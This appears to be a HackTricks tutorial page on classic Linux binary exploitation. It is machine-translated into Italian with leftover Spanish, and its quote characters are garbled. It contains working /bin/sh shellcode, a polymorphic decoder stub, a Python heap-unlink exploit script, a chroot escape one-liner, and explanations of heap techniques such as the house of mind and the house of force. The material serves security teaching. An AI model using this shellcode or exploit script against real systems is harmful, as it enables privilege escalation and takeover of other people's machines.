33 KiB
Linux Exploiting (Basic) (SPA)
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
2.SHELLCODE
Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; puliamo eax
xor ebx, ebx ; ebx = 0 poiché non ci sono argomenti da passare
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Esegui syscall
nasm -f elf assembly.asm —> Restituisce un .o
ld assembly.o -o shellcodeout —> Fornisce un eseguibile formato dal codice assembly e possiamo estrarre gli opcodes con objdump
objdump -d -Mintel ./shellcodeout —> Per vedere che effettivamente è la nostra shellcode e estrarre gli OpCodes
Controllare che la shellcode funzioni
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Per vedere che le chiamate di sistema vengono eseguite correttamente, è necessario compilare il programma precedente e le chiamate di sistema devono apparire in strace ./PROGRAMA_COMPILATO
Quando si creano shellcode, si può fare un trucco. La prima istruzione è un jump a un call. Il call chiama il codice originale e inoltre inserisce nello stack l'EIP. Dopo l'istruzione call abbiamo inserito la stringa di cui avevamo bisogno, quindi con quell'EIP possiamo puntare alla stringa e continuare a eseguire il codice.
EJ TRUCCO (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
EJ usando el Stack(/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Egg Huter:
Consiste in un piccolo codice che percorre le pagine di memoria associate a un processo in cerca della shellcode lì memorizzata (cerca qualche firma presente nella shellcode). Utile nei casi in cui si ha solo un piccolo spazio per iniettare codice.
Shellcodes polimorfici
Consistono in shell cifrate che hanno un piccolo codice che le decifra e salta a esse, usando il trucco di Call-Pop questo sarebbe un esempio cifrato cesar:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5.Metodi complementari
Tecnica di Murat
In linux tutti i programmi si mappano iniziando da 0xbfffffff
Vedendo come si costruisce lo stack di un nuovo processo in linux si può sviluppare un exploit in modo che il programma venga avviato in un ambiente la cui unica variabile sia la shellcode. L'indirizzo di questa può quindi essere calcolato come: addr = 0xbfffffff - 4 - strlen(NOME_eseguibile_completo) - strlen(shellcode)
In questo modo si otterrebbe in modo semplice l'indirizzo dove si trova la variabile di ambiente con la shellcode.
Questo è possibile grazie al fatto che la funzione execle permette di creare un ambiente che contenga solo le variabili di ambiente desiderate.
Format Strings to Buffer Overflows
La sprintf moves una stringa formattata a una variabile. Pertanto, si potrebbe abusare del formato di una stringa per causare un buffer overflow nella variabile dove il contenuto viene copiato.
Ad esempio, il payload %.44xAAAA
scriverà 44B+"AAAA" nella variabile, il che potrebbe causare un buffer overflow.
__atexit Structures
{% hint style="danger" %} Oggigiorno è molto strano sfruttare questo. {% endhint %}
atexit()
è una funzione a cui altre funzioni vengono passate come parametri. Queste funzioni verranno eseguite quando si esegue un exit()
o il ritorno del main.
Se puoi modificare l'indirizzo di una di queste funzioni per puntare a una shellcode, ad esempio, otterrai il controllo del processo, ma attualmente questo è più complicato.
Attualmente gli indirizzi delle funzioni da eseguire sono nascosti dietro diverse strutture e infine l'indirizzo a cui puntano non è l'indirizzo delle funzioni, ma è crittografato con XOR e spostamenti con una chiave casuale. Quindi attualmente questo vettore di attacco non è molto utile almeno su x86 e x64_86.
La funzione di crittografia è PTR_MANGLE
. Altre architetture come m68k, mips32, mips64, aarch64, arm, hppa... non implementano la funzione di crittografia perché restituisce lo stesso di quanto ricevuto come input. Quindi queste architetture sarebbero attaccabili tramite questo vettore.
setjmp() & longjmp()
{% hint style="danger" %} Oggigiorno è molto strano sfruttare questo. {% endhint %}
Setjmp()
consente di salvare il contesto (i registri)
longjmp()
consente di ripristinare il contesto.
I registri salvati sono: EBX, ESI, EDI, ESP, EIP, EBP
Quello che succede è che EIP ed ESP vengono passati dalla funzione PTR_MANGLE
, quindi le architetture vulnerabili a questo attacco sono le stesse di sopra.
Sono utili per il recupero degli errori o per le interruzioni.
Tuttavia, da quello che ho letto, gli altri registri non sono protetti, quindi se c'è un call ebx
, call esi
o call edi
all'interno della funzione chiamata, il controllo può essere preso. Oppure si potrebbe anche modificare EBP per modificare ESP.
VTable e VPTR in C++
Ogni classe ha una Vtable che è un array di puntatori a metodi.
Ogni oggetto di una classe ha un VPtr che è un puntatore all'array della sua classe. Il VPtr è parte dell'intestazione di ogni oggetto, quindi se si ottiene un overwrite del VPtr si potrebbe modificare per puntare a un metodo fittizio in modo che l'esecuzione di una funzione vada alla shellcode.
Misure preventive e evasioni
Sostituzione di Libsafe
Si attiva con: LD_PRELOAD=/lib/libsafe.so.2
o
“/lib/libsave.so.2” > /etc/ld.so.preload
Si intercettano le chiamate ad alcune funzioni non sicure con altre sicure. Non è standardizzato. (solo per x86, non per compilazioni con -fomit-frame-pointer, non compilazioni statiche, non tutte le funzioni vulnerabili diventano sicure e LD_PRELOAD non funziona in binari con suid).
ASCII Armored Address Space
Consiste nel caricare le librerie condivise da 0x00000000 a 0x00ffffff affinché ci sia sempre un byte 0x00. Tuttavia, questo in realtà non ferma quasi nessun attacco, e meno in little endian.
ret2plt
Consiste nel realizzare un ROP in modo che venga chiamata la funzione strcpy@plt (dalla plt) e si punti all'entrata della GOT e si copi il primo byte della funzione che si desidera chiamare (system()). Subito dopo si fa lo stesso puntando a GOT+1 e si copia il 2° byte di system()… Alla fine si chiama l'indirizzo salvato in GOT che sarà system().
Gabbie con chroot()
debootstrap -arch=i386 hardy /home/user —> Installa un sistema di base sotto un sottodirectory specifico
Un admin può uscire da una di queste gabbie facendo: mkdir foo; chroot foo; cd ..
Strumentazione del codice
Valgrind —> Cerca errori
Memcheck
RAD (Return Address Defender)
Insure++
8 Heap Overflows: Exploits di base
Blocco assegnato
prev_size |
size | —Intestazione
*mem | Dati
Blocco libero
prev_size |
size |
*fd | Ptr forward chunk
*bk | Ptr back chunk —Intestazione
*mem | Dati
I blocchi liberi sono in una lista doppiamente collegata (bin) e non possono mai esserci due blocchi liberi insieme (si uniscono)
In “size” ci sono bit per indicare: Se il blocco precedente è in uso, se il blocco è stato assegnato tramite mmap() e se il blocco appartiene all'arena primaria.
Se liberando un blocco uno dei contigui si trova libero, questi si fondono tramite la macro unlink() e si passa il nuovo blocco più grande a frontlink() affinché inserisca il bin adeguato.
unlink(){
BK = P->bk; —> Il BK del nuovo chunk è quello che aveva il chunk già libero prima
FD = P->fd; —> Il FD del nuovo chunk è quello che aveva il chunk già libero prima
FD->bk = BK; —> Il BK del chunk successivo punta al nuovo chunk
BK->fd = FD; —> Il FD del chunk precedente punta al nuovo chunk
}
Pertanto, se riusciamo a modificare il P->bk con l'indirizzo di una shellcode e il P->fd con l'indirizzo a un'entrata nella GOT o DTORS meno 12 si ottiene:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
E così si esegue al termine del programma la shellcode.
Inoltre, la 4ª istruzione di unlink() scrive qualcosa e la shellcode deve essere riparata per questo:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Questo provoca la scrittura di 4 byte a partire dall'8° byte della shellcode, quindi la prima istruzione della shellcode deve essere un jmp per saltare questo e cadere in alcuni nops che portano al resto della shellcode.
Pertanto, l'exploit si crea:
Nel buffer1 mettiamo la shellcode iniziando con un jmp affinché cada nei nops o nel resto della shellcode.
Dopo la shellcode mettiamo riempimento fino a raggiungere il campo prev_size e size del blocco successivo. In questi posti mettiamo 0xfffffff0 (in modo che si sovrascriva il prev_size affinché abbia il bit che dice che è libero) e “-4“(0xfffffffc) nello size (perché quando controlla nel 3° blocco se il 2° era realmente libero vada al prev_size modificato che gli dirà che è libero) -> Così quando free() indaga andrà allo size del 3° ma in realtà andrà al 2° - 4 e penserà che il 2° blocco sia libero. E quindi chiamerà unlink().
Chiamando unlink() userà come P->fd i primi dati del 2° blocco per cui lì si metterà l'indirizzo che si vuole sovrascrivere - 12 (poiché in FD->bk gli somma 12 all'indirizzo salvato in FD). E in quell'indirizzo inserirà il secondo indirizzo che trova nel 2° blocco, che ci interesserà che sia l'indirizzo alla shellcode (P->bk falso).
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes di riempimento
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #Interessa che il bit che indica che il blocco precedente è libero sia a 1
fake_size = pack("<I”, 0xfffffffc) #-4, affinché pensi che lo “size” del 3° blocco sia 4bytes dietro (punta a prev_size) poiché è lì che guarda se il 2° blocco è libero
addr_sc = pack("<I", 0x0804a008 + 8) #Nel payload all'inizio metteremo 8bytes di riempimento
got_free = pack("<I", 0x08048300 - 12) #Indirizzo di free() nella plt-12 (sarà l'indirizzo che si sovrascriverà affinché si lanci la shellcode la 2ª volta che si chiama free)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Come si è detto il payload inizia con 8 byte di riempimento perché sì
payload += prev_size + fake_size + got_free + addr_sc #Si modifica il 2° blocco, il got_free punta a dove andremo a salvare l'indirizzo addr_sc + 12
os.system("./8.3.o " + payload)
unset() liberando in senso inverso (wargame)
Stiamo controllando 3 blocchi consecutivi e vengono liberati in ordine inverso rispetto a quello riservato.
In quel caso:
Nel blocco c si mette la shellcode
Il blocco a lo usiamo per sovrascrivere il b in modo che lo size abbia il bit PREV_INUSE disattivato affinché pensi che il blocco a sia libero.
Inoltre, si sovrascrive nell'intestazione b lo size affinché valga -4.
Quindi, il programma penserà che “a” sia libero e in un bin, per cui chiamerà unlink() per disconnetterlo. Tuttavia, poiché l'intestazione PREV_SIZE vale -4. Penserà che il blocco di “a” inizi realmente in b+4. Cioè, farà un unlink() a un blocco che inizia in b+4, per cui in b+12 ci sarà il puntatore “fd” e in b+16 ci sarà il puntatore “bk”.
In questo modo, se in bk mettiamo l'indirizzo alla shellcode e in fd mettiamo l'indirizzo alla funzione “puts()”-12 abbiamo il nostro payload.
Tecnica di Frontlink
Si chiama frontlink quando si libera qualcosa e nessuno dei suoi blocchi contigui è libero, non si chiama unlink() ma si chiama direttamente frontlink().
Vulnerabilità utile quando il malloc che si attacca non viene mai liberato (free()).
Necessita di:
Un buffer che possa essere sovrascritto con la funzione di input
Un buffer contiguo a questo che deve essere liberato e al quale si modificherà il campo fd della sua intestazione grazie al sovraccarico del buffer precedente
Un buffer da liberare con una dimensione maggiore di 512 ma minore del buffer precedente
Un buffer dichiarato prima del passo 3 che consenta di sovrascrivere il prev_size di questo
In questo modo, riuscendo a sovrascrivere in due malloc in modo incontrollato e in uno in modo controllato ma che viene liberato solo quello, possiamo fare un exploit.
Vulnerabilità double free()
Se si chiama due volte free() con lo stesso puntatore, rimangono due bin che puntano alla stessa indirizzo.
Nel caso si voglia riutilizzare uno, verrebbe assegnato senza problemi. Nel caso si voglia usare un altro, gli verrebbe assegnato lo stesso spazio per cui avremmo i puntatori “fd” e “bk” falsati con i dati che scriverà la riserva precedente.
After free()
Un puntatore precedentemente liberato viene utilizzato di nuovo senza controllo.
8 Heap Overflows: Exploits avanzati
Le tecniche di Unlink() e FrontLink() sono state eliminate modificando la funzione unlink().
The house of mind
Basta una sola chiamata a free() per provocare l'esecuzione di codice arbitrario. È interessante cercare un secondo blocco che può essere sovrascritto da uno precedente e liberato.
Una chiamata a free() provoca la chiamata a public_fREe(mem), questo fa:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Restituisce un puntatore all'indirizzo dove inizia il blocco (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
In [1] controlla il campo size il bit NON_MAIN_ARENA, il quale può essere alterato affinché il controllo restituisca true ed esegua heap_for_ptr() che fa un and a “mem” lasciando a 0 i 2.5 byte meno significativi (nel nostro caso da 0x0804a000 lascia 0x08000000) e accede a 0x08000000->ar_ptr (come se fosse un struct heap_info)
In questo modo, se possiamo controllare un blocco ad esempio in 0x0804a000 e si va a liberare un blocco in 0x081002a0 possiamo arrivare all'indirizzo 0x08100000 e scrivere quello che vogliamo, ad esempio 0x0804a000. Quando questo secondo blocco viene liberato si scoprirà che heap_for_ptr(ptr)->ar_ptr restituisce ciò che abbiamo scritto in 0x08100000 (poiché si applica a 0x081002a0 l'and che abbiamo visto prima e da lì si estrae il valore dei primi 4 byte, l'ar_ptr)
In questo modo si chiama a _int_free(ar_ptr, mem), cioè, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
Come abbiamo visto prima possiamo controllare il valore di av, poiché è ciò che scriviamo nel blocco che si va a liberare.
Così come è definito unsorted_chunks, sappiamo che:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
Pertanto, se in av->bins[2] scriviamo il valore di __DTOR_END__-12 nell'ultima istruzione si scriverà in __DTOR_END__ l'indirizzo del secondo blocco.
Cioè, nel primo blocco dobbiamo mettere all'inizio molte volte l'indirizzo di __DTOR_END__-12 perché da lì lo prenderà av->bins[2]
Nell'indirizzo in cui cadrà l'indirizzo del secondo blocco con gli ultimi 5 zeri dobbiamo scrivere l'indirizzo a questo primo blocco affinché heap_for_ptr() pensi che l'ar_ptr sia all'inizio del primo blocco e prenda da lì l'av->bins[2]
Nel secondo blocco e grazie al primo sovrascriviamo il prev_size con un jump 0x0c e lo size con qualcosa per attivare -> NON_MAIN_ARENA
A questo punto nel blocco 2 mettiamo un sacco di nops e infine la shellcode
In questo modo si chiamerà a _int_free(TROZO1, TROZO2) e seguirà le istruzioni per scrivere in __DTOR_END__ l'indirizzo del prev_size del TROZO2 il quale salterà alla shellcode.
Per applicare questa tecnica è necessario che si soddisfino alcuni requisiti in più che complicano un po' di più il payload.
Questa tecnica non è più applicabile poiché è stato applicato quasi lo stesso patch che per unlink. Si confrontano se il nuovo sito a cui si punta sta anche puntando a lui.
Fastbin
È una variante di The house of mind
ci interessa arrivare a eseguire il seguente codice al quale si arriva passata la prima verifica della funzione _int_free()
fb = &(av->fastbins[fastbin_index(size)] —> Essendo fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
In questo modo, se si mette in “fb” dà l'indirizzo di una funzione nella GOT, in questo indirizzo si metterà l'indirizzo al blocco sovrascritto. Per questo sarà necessario che l'arena sia vicina agli indirizzi di dtors. Più precisamente che av->max_fast sia nell'indirizzo che andremo a sovrascrivere.
Poiché con The House of Mind si è visto che noi controllavamo la posizione dell'av.
Quindi, se nel campo size mettiamo una dimensione di 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() ci restituirà fastbins[-1], che punterà a av->max_fast
In questo caso av->max_fast sarà l'indirizzo che si sovrascriverà (non a cui punta, ma quella posizione sarà quella che si sovrascriverà).
Inoltre, deve essere soddisfatto che il blocco contiguo al liberato deve essere maggiore di 8 -> Dato che abbiamo detto che lo size del blocco liberato è 8, in questo blocco falso dobbiamo solo mettere uno size maggiore di 8 (come inoltre la shellcode andrà nel blocco liberato, dovremo mettere all'inizio un jmp che cada nei nops).
Inoltre, quel stesso blocco falso deve essere minore di av->system_mem. av->system_mem si trova 1848 byte più in là.
A causa dei nulli di _DTOR_END_ e delle poche indirizzi nella GOT, nessun indirizzo di queste sezioni serve per essere sovrascritto, quindi vediamo come applicare fastbin per attaccare lo stack.
Un altro modo di attacco è reindirizzare l'av verso lo stack.
Se modifichiamo lo size affinché dia 16 invece di 8 allora: fastbin_index() ci restituirà fastbins[0] e possiamo utilizzare questo per sovrascrivere lo stack.
Per questo non deve esserci alcun canary né valori strani nello stack, infatti dobbiamo trovarci in questo: 4byte nulli + EBP + RET
I 4 byte nulli sono necessari affinché l'av sia a questo indirizzo e il primo elemento di un av è il mutex che deve valere 0.
L'av->max_fast sarà l'EBP e sarà un valore che ci servirà per saltare le restrizioni.
Nell'av->fastbins[0] si sovrascriverà con l'indirizzo di p e sarà il RET, così si salterà alla shellcode.
Inoltre, in av->system_mem (1484byte sopra la posizione nello stack) ci sarà abbastanza spazzatura che ci permetterà di saltare il controllo che si esegue.
Inoltre, deve essere soddisfatto che il blocco contiguo al liberato deve essere maggiore di 8 -> Dato che abbiamo detto che lo size del blocco liberato è 16, in questo blocco falso dobbiamo solo mettere uno size maggiore di 8 (come inoltre la shellcode andrà nel blocco liberato, dovremo mettere all'inizio un jmp che cada nei nops che vanno dopo il campo size del nuovo blocco falso).
The House of Spirit
In questo caso cerchiamo di avere un puntatore a un malloc che possa essere alterato dall'attaccante (ad esempio, che il puntatore sia nello stack sotto un possibile overflow a una variabile).
In questo modo, potremmo fare in modo che questo puntatore punti dove vogliamo. Tuttavia, non qualsiasi sito è valido, la dimensione del blocco falsato deve essere minore di av->max_fast e più specificamente uguale alla dimensione richiesta in una futura chiamata a malloc()+8. Perciò, se sappiamo che dopo questo puntatore vulnerabile si chiama a malloc(40), la dimensione del blocco falso deve essere uguale a 48.
Se ad esempio il programma chiedesse all'utente un numero potremmo inserire 48 e puntare il puntatore di malloc modificabile ai successivi 4byte (che potrebbero appartenere all'EBP con fortuna, così il 48 rimane dietro, come se fosse l'intestazione size). Inoltre, l'indirizzo ptr-4+48 deve soddisfare diverse condizioni (essendo in questo caso ptr=EBP), cioè, 8 < ptr-4+48 < av->system_mem.
Se questo viene soddisfatto, quando si chiama il successivo malloc che abbiamo detto essere malloc(40) gli verrà assegnato come indirizzo l'indirizzo dell'EBP. Nel caso in cui l'attaccante possa anche controllare ciò che viene scritto in questo malloc può sovrascrivere sia l'EBP che l'EIP con l'indirizzo che desidera.
Questo credo che sia perché così quando lo libererà free() registrerà che all'indirizzo a cui punta l'EBP dello stack c'è un blocco di dimensione perfetta per il nuovo malloc() che si vuole riservare, quindi gli assegna quell'indirizzo.
The House of Force
È necessario:
- Un overflow a un blocco che consenta di sovrascrivere il wilderness
- Una chiamata a malloc() con la dimensione definita dall'utente
- Una chiamata a malloc() i cui dati possano essere definiti dall'utente
La prima cosa che si fa è sovrascrivere lo size del blocco wilderness con un valore molto grande (0xffffffff), così qualsiasi richiesta di memoria sufficientemente grande sarà trattata in _int_malloc() senza necessità di espandere l'heap.
La seconda è alterare l'av->top affinché punti a una zona di memoria sotto il controllo dell'attaccante, come lo stack. In av->top si metterà &EIP - 8.
Dobbiamo sovrascrivere av->top affinché punti alla zona di memoria sotto il controllo dell'attaccante:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim raccoglie il valore dell'indirizzo del blocco wilderness attuale (l'attuale av->top) e remainder è esattamente la somma di quell'indirizzo più la quantità di byte richiesti da malloc(). Quindi se &EIP-8 è in 0xbffff224 e av->top contiene 0x080c2788, allora la quantità che dobbiamo riservare nel malloc controllato affinché av->top punti a $EIP-8 per il prossimo malloc() sarà:
0xbffff224 - 0x080c2788 = 3086207644.
Così si salverà in av->top il valore alterato e il prossimo malloc punterà all'EIP e potrà sovrascriverlo.
È importante sapere che lo size del nuovo blocco wilderness sia più grande della richiesta effettuata dall'ultimo malloc(). Cioè, se il wilderness sta puntando a &EIP-8, lo size rimarrà proprio nel campo EBP dello stack.
The House of Lore
Corruzione SmallBin
I blocchi liberati vengono inseriti nel bin in base alla loro dimensione. Ma prima di essere inseriti vengono conservati in unsorted bins. Un blocco viene liberato non viene immediatamente messo nel suo bin ma rimane in unsorted bins. Successivamente, se si riserva un nuovo blocco e il precedente liberato può servirgli, lo restituisce, ma se si riserva più grande, il blocco liberato in unsorted bins viene messo nel suo bin adeguato.
Per raggiungere il codice vulnerabile la richiesta di memoria dovrà essere maggiore di av->max_fast (72 normalmente) e minore di MIN_LARGE_SIZE (512).
Se nel bin c'è un blocco della dimensione adeguata a ciò che si richiede, si restituisce quello dopo averlo disconnesso:
bck = victim->bk; Punta al blocco precedente, è l'unica info che possiamo alterare.
bin->bk = bck; Il penultimo blocco diventa l'ultimo, nel caso in cui bck punti allo stack al successivo blocco riservato verrà data questa indirizzo.
bck->fd = bin; Si chiude la lista facendo sì che questo punti a bin.
È necessario:
Che si riservino due malloc, in modo che al primo si possa fare overflow dopo che il secondo sia stato liberato e inserito nel suo bin (cioè, si sia riservato un malloc superiore al secondo blocco prima di fare l'overflow).
Che il malloc riservato al quale si dà l'indirizzo scelto dall'attaccante sia controllato dall'attaccante.
L'obiettivo è il seguente, se possiamo fare un overflow a un heap che ha sotto un blocco già liberato e nel suo bin, possiamo alterare il suo puntatore bk. Se alteriamo il suo puntatore bk e questo blocco arriva a essere il primo della lista di bin e si riserva, a bin si ingannerà e si dirà che l'ultimo blocco della lista (il successivo da offrire) è nell'indirizzo falso che abbiamo messo (allo stack o GOT per esempio). Quindi se si riserva un altro blocco e l'attaccante ha permessi su di esso, verrà dato un blocco nella posizione desiderata e potrà scriverci sopra.
Dopo aver liberato il blocco modificato è necessario che si riservi un blocco maggiore di quello liberato, così il blocco modificato uscirà da unsorted bins e si inserirebbe nel suo bin.
Una volta nel suo bin è il momento di modificare il suo puntatore bk tramite l'overflow affinché punti all'indirizzo che vogliamo sovrascrivere.
Così il bin dovrà aspettare turno affinché si chiami malloc() sufficienti volte affinché si riutilizzi il bin modificato e inganni bin facendogli credere che il successivo blocco sia nell'indirizzo falso. E successivamente verrà dato il blocco che ci interessa.
Per far sì che la vulnerabilità venga eseguita il prima possibile, l'ideale sarebbe: Riserva del blocco vulnerabile, riserva del blocco che verrà modificato, si libera questo blocco, si riserva un blocco più grande a quello che verrà modificato, si modifica il blocco (vulnerabilità), si riserva un blocco di uguale dimensione a quello vulnerato e si riserva un secondo blocco di uguale dimensione e questo sarà quello che punta all'indirizzo scelto.
Per proteggere questo attacco si usa la tipica verifica che il blocco “non” è falso: si controlla se bck->fd sta puntando a victim. Cioè, nel nostro caso se il puntatore fd* del blocco falso puntato nello stack sta puntando a victim. Per superare questa protezione l'attaccante dovrebbe essere in grado di scrivere in qualche modo (probabilmente dallo stack) nell'indirizzo adeguato l'indirizzo di victim. Affinché così sembri un blocco vero.
Corruzione LargeBin
Si necessitano gli stessi requisiti di prima e qualcun altro, inoltre i blocchi riservati devono essere maggiori di 512.
L'attacco è come il precedente, cioè, bisogna modificare il puntatore bk e sono necessarie tutte quelle chiamate a malloc(), ma inoltre bisogna modificare lo size del blocco modificato in modo che quello size - nb sia < MINSIZE.
Ad esempio, si farà in modo che mettere in size 1552 affinché 1552 - 1544 = 8 < MINSIZE (la sottrazione non può risultare negativa perché si confronta un unsigned).
Inoltre è stato introdotto un patch per renderlo ancora più complicato.
Heap Spraying
Fondamentalmente consiste nel riservare tutta la memoria possibile per gli heap e riempirli con un materasso di nops terminati da una shellcode. Inoltre, come materasso si utilizza 0x0c. Poiché si cercherà di saltare all'indirizzo 0x0c0c0c0c, e così se si sovrascrive qualche indirizzo a cui si andrà a chiamare con questo materasso si salterà lì. Fondamentalmente la tattica è riservare il massimo possibile per vedere se si sovrascrive qualche puntatore e saltare a 0x0c0c0c0c aspettandosi che lì ci siano nops.
Heap Feng Shui
Consiste nel seminare la memoria tramite riserve e liberazioni in modo che rimangano blocchi riservati in mezzo a blocchi liberi. Il buffer da sovrascrivere si situerà in uno dei blocchi.
objdump -d eseguibile —> Disas functions
objdump -d ./PROGRAMA | grep FUNZIONE —> Ottieni indirizzo funzione
objdump -d -Mintel ./shellcodeout —> Per vedere che effettivamente è la nostra shellcode e estrarre gli OpCodes
objdump -t ./exec | grep varBss —> Tabella dei simboli, per estrarre indirizzi di variabili e funzioni
objdump -TR ./exec | grep exit(func lib) —> Per estrarre indirizzi di funzioni di librerie (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Estrae l'indirizzo di puts da sovrascrivere nella GOT
objdump -D ./exec —> Disas ALL fino alle entrate della plt
objdump -p -/exec
Info functions strncmp —> Info della funzione in gdb
Corsi interessanti
Riferimenti
{% hint style="success" %}
Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.